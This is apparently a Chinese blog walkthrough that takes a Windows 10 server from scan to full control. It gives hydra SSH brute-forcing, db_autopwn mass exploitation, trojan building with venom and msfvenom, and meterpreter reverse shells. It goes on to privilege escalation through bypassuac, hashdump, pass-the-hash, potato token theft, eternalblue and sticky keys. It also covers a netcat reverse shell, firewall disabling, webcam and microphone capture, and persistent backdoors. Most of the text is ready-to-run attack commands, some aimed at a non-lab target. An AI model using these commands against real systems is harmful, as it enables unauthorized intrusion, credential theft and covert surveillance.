寻找目标并测试开放端口
nmap -sS -Pn -p10023 -o xxxxxxxx.com
准备字典
1..我自己做的python字典生成,简介方便kali把源码复制就能用了https://www.cnblogs.com/eternalnight/p/13943390.html
python createDic.py
2.kali自带的生成字典命令
crunch 8 8 +0123 -t admin%%% >passwd.txt
由于尝试ssh密码 比正常的要么,所以密码必须精选. 生成8位,前5位是admin后3位是 0123其中的枚举
OK我们手动打开,把需要的留下,并且手动添加常规密码.
echo -e "Administratorx0Aadminx0Asshd_serverx0Atest" >>users.txt
把用户名发送到users.txt x0A是换行分割用户 admin test
echo "xxxxxxx.com" >>targetIP.txt
把目标的IP或网址发送到targetIP.txt目标端口
hydra -p test123 -l test -o output.txt -V ssh://192.168.0.111:10023 hydra -P passwd.txt -L users.txt -M targetIP.txt -o output.txt -V ssh -s 10023
两个对比,我更喜欢后者,可以批量处理.最后结果输出到output.txt文件
cat output.txt |awk -F'x20' '/password/{print $1,$2,$3,$4,$5,$6,$7}' |uniq -c
查找output.txt的密码数据 拿到密码和端口就尝试登陆啦,
ssh test@xxxxxxxxxx.com -p10023
漏洞扫描安装
Rapid7 Nexpose:(商用软件)适合较大的网络 Tenable Nessus:(商用软件)价格相当更经济一些 OpenVas:免费使用的工具,更适合个人使用我们所用的版本是kali2020.3 openvas在2020版本后就不存在直接安装,改用GVM
sudo apt-get update &&sudo apt-get upgrade -y &&sudo apt-get dist-upgrade sudo apt-get clean sudo apt-get install gvm sudo gvm-setup
这样算成功了
sudo gvm-start sudo gvm-check-setup
最好先gvm-start开启网页,要不然问题巨他妈多. 看到:It seems like your GVM-11 installation is OK,说明安装完成了
sudo gvm-feed-update
升级特征库 但后期使用记得经常升级特征库哦
sudo gvmd --user=admin --new-password=admin123 sudo runuser -u _gvm -- gvmd --user=admin --new-password=admin123 frefox https://127.0.0.1:9392/
sudo gvm-start sudo gvm-stop https://127.0.0.1:9392/默认是这个本地网址端口
-
故障1
sudo apt-get install gcc-8-base
-
故障2
sudo apt-get install mutter gcc-8-base
-
故障3
-
故障4
sudo apt-get install postgresql-12 sudo pg_dropcluster 12 main --stop sudo pg_upgradecluster 11 main
-
故障5
sudo apt-get install postgresql-13 sudo systemctl stop postgresql@13-main sudo systemctl daemon-reload sudo pg_dropcluster 13 main --stop sudo pg_upgradecluster 12 main
目标是WIN10,我们只需要等待扫描即可,要确保目标是能ping的通的
漏洞扫描配置openvas任务
SMB 网络服务
|
SMB (Server Message Block,服务器消息块) 首先提供了 Windows 网络中最常用的远程文件与打印机共享网络服务;其次,SMB 的命名管道是 MSRPC 协议认证和调用本地服务的承载传输层。
SMB 作为应用层协议,既可以直接运行在 TCP 445 端口上,也可以通过调用 NBT 的 TCP 139 端口来接收数据。SMB 的文件与打印机共享服务中已被发现的安全漏洞达到数十个之多,其中可以导致远程代码执行的高危性漏洞也有十多个,包括:MS10-054、MS10-012 等。
|
DCE/RPC
|
独立运行于网络传输层协议之上,采用的网络传输层协议包括 ncacn_ip_tcp (TCP 135 端口)、ncadg_ip_udp (UDP 135 端口)、ncacn_np (TCP 139、445 端口) 等
在 MSRPC 自身可能存在安全漏洞 (如 MS09-026) 的同时,作为调用大量本地服务进程的网络接口,也常常被利用来出发这些本地服务中存在的安全漏洞。由此很多本地服务安全漏洞以 MSRPC over SMB 为通道进行攻击,MS05-039 安全漏洞就是其中之一。攻击者通过发送数据到远程主机上的 SMB 协议的 445 端口,通过 MSRPC 调用远程主机的即插即用 (Plug and Play Service) 服务,溢出该服务进程的栈缓冲区,达到控制主机的目的;而 Server 服务路径规范化处理不当漏洞 (MS08-067) 也是通过 MSRPC 协议,经过 SMB 服务通道,利用 Server 服务的 NetPathCanonicalize 方法中存在的安全漏洞。
|
MSRPC
|
(MicroSoft Remote Procedure Call,微软远程过程调用) 是对 DCE/RPC 在 Windows 系统下的重新改进和实现,用以支持 Windows 系统中的应用程序能够无缝地通过网络调用远程主机上服务进程中的过程。
|
RDP 远程桌面服务
|
RDP (Remote Desktop Protocol,远程桌面协议) 由微软开发,提供给远程的客户端用户一个登陆服务器的图形界面接口,服务默认运行于 TCP 3389 端口。
由于服务器的管理人员经常需要远程管理主机,所以服务器基本都会启用 RDP 服务。针对该服务的攻击也时有发生,除了口令猜测、破解等试图绕过认证的攻击之外,内存攻击也时有发生。2012 年爆出的 MS12-020 漏洞就是其中的典型例子。该漏洞存在于 RDP 服务的底层驱动文件 Rdpwd.sys 中,属于内核级漏洞。攻击者通过向远程主机的 3389 端口发送恶意数据包,造成服务程序使用一个不存在的指针,导致远程主机崩溃,达到拒绝服务攻击的目的。
|
IPC$ | Internet Process Connection 网络进程连接,是共享"命名管道"的资源。 445/tcp端口 |
sudo msfdb init
service postgresql@13-main restart service postgresql restart sudo msfdb reinit 如果有问题就可以参考这三条命令
msfconsole db_import Downloads/
hosts vulns
漏洞信息都上传到msfconsole了。
cd /usr/share/metasploit-framework/plugins/ sudo wget https://raw.githubusercontent.com/hahwul/metasploit-db_autopwn/master/db_autopwn.rb
打开另外一个终端下载,自动攻击db
load db_autopwn
db_autopwn -t -p -e -r
正在批量自动化攻击反弹shell
结果不是很好,并没有反弹shell成功。虽然没成功毕竟不是靶机,但我们也学习到了如何利用漏洞。
木马生成
Venom架构(虽然可以绕,但是问题很多)
sudo apt-get install xterm git clone https://github.com/r00t-3xp10it/venom.git mkdir -p ~/Tools &&mv venom ~/Tools/ &&cd ~/Tools/venom find ./ -name "*.sh" -exec chmod +x {} ; find ./ -name "*.py" -exec chmod +x {} ; cd aux &&sudo ./setup.sh
cd .. sudo ./venom.sh -u
这里说明下,要根据目标的系统类型去选择,我的目标是64位操作系统则选择windows/x64
其他的都默认提示选或者自己填
提权
1.sc其实跟net 等都是管理服务的一种工具,所有服务都是由system系统最高权限去执行
sc Create syscmd binPath= "cmd /K start" type= own type= interact
2.at时间执行跟上面原理相似,同样是由system执行,但是如果上面失败了,这个也行不通
at 11:15 /interactive cmd
3.net命令直接提权
net localgroup administrators test
4.在kali操作监听目标端口
nc XXXXXX.com 10023
但是需要关闭对方防火墙,由于你没权限所以无法做到,但是我还是做了示范 netsh advfirewall set currentprofile state off,需要powershell执行才能全部关闭
先上传无密码登陆的公钥
sftp -P10023 test@xxxx.com put -r Tools/venom/output/5cmd64.exe
之后我会专门做一期高度免杀的木马,由于内容比较繁琐,所以你们尽量用靶机测试,我的服务器是配置了火绒 已经免杀了可以看到.准备好监听
msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp) set LHOST 192.168.0.111 set LPORT 666 exploit
监听好
ssh -p10023 test@xxxxx.com "/home/test/5cmd64.exe"
发送一条远程执行命令,这里必须强调一点,SSH尽量安装在C盘,否则会出现各种不必要的权限问题
拿到反弹shell,但是还是普通用户
各种颅内高潮提权操作
1.最简单但也是最危险的操作,如果对方有像火绒一样的就会察觉并且封杀你的木马,导致你无法再次登录。
getsystem
2.exp溢出提权漏洞 ms10_073_kbdlayout
background
我们先在meterpreter输入:background 后台放置,方便我们非关闭会话
我们直接sessions 1就能回到meterpreter
search ms10_073_kbdlayout
use post/windows/escalate/ms10_073_kbdlayout options
set SESSION 1 exploit sessions 1
或者直接在meterpreter执行 run post/windows/escalate/ms10_073_kbdlayout
目标系统不易受攻击 也就没有这方面的漏洞。OK我们试下一个
3.盗取令牌 直接在meterpreter操作
use incognito
进入模块
list_tokens -u
依旧失败,我们只有目前爆破的用户的口令,不过下面示范下如何获取口令
impersonate_token "NT AUTHORITY\SYSTEM"
用户前面需要添加两个\
meterpreter中文乱码
chcp 65001
如果你已经拿到了system shell那么你就跳过提权步骤,转到下方操作后续。
4.Bypassuac 绕过用户控制漏洞
简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。
background search bypassuac
use exploit/windows/local/bypassuac show options set session 1 exploit
run post/windows/gather/hashdump run post/windows/gather/smart_hashdump
抓取密码,被拒绝访问了。如果成功了就可以通过执行下面命令提权
background use exploit/windows/smb/psexec options set rhost xxxx.com set SMBuser 我们捕获的hash用户名 set SMBPass HASH值 set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.0.111 set lport 4444 exploit
关于john the ripper暴力破解
https://download.openwall.net/pub/projects/john/contrib/windows/官网windows下载
6.Service Permissions 服务权限漏洞
use exploit/windows/local/service_permissions options set session 1 run
这个漏洞可以针对 OS : Windows 10 (10.0 Build 19041). Architecture : x64
use post/multi/recon/local_exploit_suggester set session 1 run
发现有3个漏洞可以直接利用
8.柳暗花明(enum_services利用)
use post/windows/gather/enum_services set session 1 run
shell cacls E:HuorongSysdiaginwsctrlsvc.exe
好吧我们看到的这个服务是火绒,太岁头上动土,哈哈。查看这个服务的权限,发现到这个服务是允许普通用户修改的。我把服务换成我们木马重启的时候就可以上线了。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.111 LPORT=668 -f exe-service -o wsctrlsvc.exe upload /home/kali/wsctrlsvc.exe "E:\Huorong\Sysdiag\bin\wsctrlsvc.exe"
权限不足,拒绝访问,原因很简单,杀毒软件不是这么容易改的,所以真能认了,但是后面还是模拟一下成功后的操作。
net start wsctrlsvc.exe sessions
9. 凭证存储 Windows7之后的操作系统提供了windows保险柜功能
Window保险柜存储Windows可以自动登录用户的凭据,这意味着需要凭据才能访问资源(服务器或网站)的任何Windows应用程序都可以使用此凭据管理器和Windows Vault并使用提供的凭据代替用户一直输入用户名和密码。
cmdkey /list
runas来以管理员权限启动nc反弹shell。
Runas /user:administrator /savecred "nc.exe -e cmd.exe 192.168.0.111 4433"
nc -lvvp 4433
10.使用Potato(烂土豆) 窃取system 令牌并模仿令牌
https://www.bilibili.com/video/av91087772 bilibili上的某教程
git clone https://github.com/foxglovesec/Potato.git cd Potato/source/Potato/Potato/obj/Release
把它丢到WINDOWS中,在meterpreter操作
use incognito list_tokens -u
发现还没有system权限的令牌
execute -cH -f ./potato.exe
impersonate_token "NT AUTHORITY\SYSTEM" shell whoami whoami /priv
EXP原理浅析
1.欺骗 “NT AUTHORITYSYSTEM”账户通过NTLM认证到我们控制的TCP终端。2.对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITYSYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。3.模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
use exploit(windows/smb/ms17_010_eternalblue set rhosts xxxx.com run
12.流氓 沾滞键提权漏洞 在meterpreter下执行
run post/windows/manage/sticky_keys
在 RDP(3389远程桌面) or UAC(用户账号控制)模式下连续按5次 Shift键就会提权system
常用meterpreter简单测试命令
webcam_list
快照
record_mic -d 5 -p false
结果就会创建一个名为rdpTest的拥有管理权限的用户
我们可以看到模块帮我们迁移到笔记本,隶属于system组
我们现在拿到了管理员权限,则就可以放置一个实时监听,再设置每次重启就会打开。。。下面我将演示利用这个软件怎么达到一个实时不间断控制。
打开另一个终端执行
mkdir D:\Mycode upload -r /home/kali/myProject/venvs/KBMonitor/output/WinClient D:\Mycode\
开启防火墙,两种方法
netsh advfirewall firewall add rule name="allow667inport" protocol=TCP dir=in localport=667 action=allow
-A | 自动启动一个匹配exploit /multi/handler来连接到代理 |
-L | 如果未使用%TEMP%则在目标主机中写入有效负载的位置 |
-P | 有效负载使用,默认为windows / meterpreter / reverse_tcp。 |
-S | 作为服务自动启动该木马(具有SYSTEM权限) |
-T | 要使用的备用可执行模板 |
-U | 用户登录时自动启动该木马 |
-X | 系统引导时自动启动该木马 |
-i | 每次连接尝试之间的时间间隔(秒) |
-p | 运行Metasploit的系统正在侦听的端口 |
-r | 运行Metasploit监听连接的系统的IP |
命令运行成功后会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。
同时会新建一个服务,显示名称为Meterpreter,服务名称为metsvc,启动类型为”自动”,绑定在31337端口。
|
|
-A | 安装后门后,自动启动exploit/multi/handler模块连接后门 |
-r | 删除后门 |